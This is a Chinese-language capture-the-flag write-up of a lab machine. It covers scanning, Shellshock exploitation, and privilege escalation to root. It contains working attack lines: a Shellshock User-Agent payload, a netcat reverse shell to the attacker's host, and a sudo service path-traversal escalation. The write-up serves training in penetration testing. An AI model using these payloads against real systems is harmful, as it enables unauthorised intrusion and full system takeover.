本帖最后由 Happiness 于 2024-1-24 22:19 编辑
0x01 靶机信息
0x02 Write-Up 2.1 主机扫描
靶机IP:192.168.135.215 Kali IP:192.168.135.15
使用namp对目标机进行扫描 - nmap -sS -sV -Pn 192.168.135.215
- -sS SYN半链接扫描, -sV 服务详细扫描, -Pn 禁ping扫描
复制代码目标机开放了22、80端口,受限制的21端口
2.2 网站侦察 经扫描已知,网站采用apache架构,2.4.38版本 访问主页,账户名格式采用@Thor Hammer格式
浏览网页源代码,在新闻页面发现有cgi-bin,很可能存在Shellshock漏洞,前提是存在一个shell脚本
- CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。
- 当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目。
复制代码- shellshock原理
- Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
复制代码2.2.1 dirb目录扫描 使用dirb的big字典对目录进行扫描 - dirb http://192.168.135.215/ /usr/share/dirb/wordlists/big.txt
复制代码
扫描cgi-bin目录后.sh后缀的文件 - dirb http://192.168.135.215/cgi-bin/ -X .sh
- -X 指定后缀
复制代码
2.2.2 利用agent测试Shellshock漏洞 - 修改agent参数:() { :; }; echo;/bin/bash -c 'id'
复制代码执行成功
2.3 渗透路线 2.3.1利用Shellshock反弹shell 在kali上开启侦听
- agent:() { :; }; echo;/bin/bash -c 'nc -e /bin/bash 192.168.135.15 4444'
- 修改执行
复制代码
成功反弹
2.3.2 升级shell 输入命令 - SHELL=/bin/bash script -q /dev/null
复制代码
2.3.3 查找权限 发现有权限无密码执行用户thor的脚本
2.3.4 提权到用户thor - sudo -u thor /home/thor/./hammer.sh
复制代码提示我们输入密钥
经过尝试后,得知这里可以以用户thor的权限执行命令
输入bash,得到thor用户的环境
同样的以之前一样办法提升shell
查看用户权限 发现可以用root的权限执行cat和service命令
得到user's flag
2.3.5 获取root权限
- sudo service ../../bin/sh
复制代码提权成功,获取root's flag
|